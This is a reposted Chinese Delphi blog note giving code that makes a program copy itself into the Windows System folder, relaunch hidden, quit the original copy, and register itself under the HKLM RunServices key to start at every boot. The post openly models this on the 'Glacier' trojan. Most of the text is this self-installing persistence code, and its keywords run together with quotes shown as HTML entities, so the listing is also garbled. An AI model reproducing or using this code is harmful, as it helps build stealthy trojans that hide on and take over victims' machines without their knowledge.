delphi 笔记

这种方法的原理是程序运行时先查看自己是不是在特定目录下,如果是就继续运行,如果不是就把自己拷贝到特定目录下,然后运行新程序,再退出旧程序.
  打开Delphi,新建一个工程,在窗口的Create事件中写代码:
  procedureTForm1.FormCreate(Sender:TObject);
  var
    myname:string;
  begin
  myname:=ExtractFilename(Application.Exename);//获得文件名
  ifapplication.Exename<>GetWindir+mynamethen//如果文件不是在Windows\System\那么..
  begin
  copyfile(pchar(application.Exename),pchar(GetWindir+myname),False);{将自己拷贝到Windows\System\下}
  Winexec(pchar(GetWindir+myname),sw_hide);//运行Windows\System\下的新文件
  application.Terminate;//退出
  end;
  end;
  其中GetWinDir是自定义函数,起功能是找出Windows\System\的路径.
  function GetWinDir:String;
  var
  Buf:array[0..MAX_PATH]ofchar;
  begin
  GetSystemDirectory(Buf,MAX_PATH);
  Result:=Buf;
  ifResult[Length(Result)]<>&#39;\&#39;thenResult:=Result+&#39;\&#39;;
  end;
  如何能使程序能在windows启动时自动启动?
  为了程序能在Windows每次启动时自动运行,可以通过六种途径来实现.“冰河”用注册表的方式.
  加入Registry单元,改写上面的窗口Create事件,改写后的程序如下:
  procedureTForm1.FormCreate(Sender:TObject);
  constK=&#39;\Software\Microsoft\Windows\CurrentVersion\RunServices&#39;;
  varmyname:string;
  begin
  {WritebyLovejingtao,http://Lovejingtao.126.com,Lovejingtao@21cn.com}
  myname:=ExtractFilename(Application.Exename);//获得文件名
  ifapplication.Exename<>GetWindir+mynamethen//如果文件不是在Windows\System\那么..
  begin
  copyfile(pchar(application.Exename),pchar(GetWindir+myname),False);{//将自己拷贝到Windows\System\下}
  Winexec(pchar(GetWindir+myname),sw_hide);//运行Windows\System\下的新文件
  application.Terminate;//退出
  end;
  withTRegistry.Createdo
  try
  RootKey:=HKEY_LOCAL_MACHINE;
  OpenKey(K,TRUE);
  WriteString(&#39;syspler&#39;,application.ExeName);
  finally
  free;
  end;
  end;

原文地址:https://www.cnblogs.com/fuyingke/p/3137279.html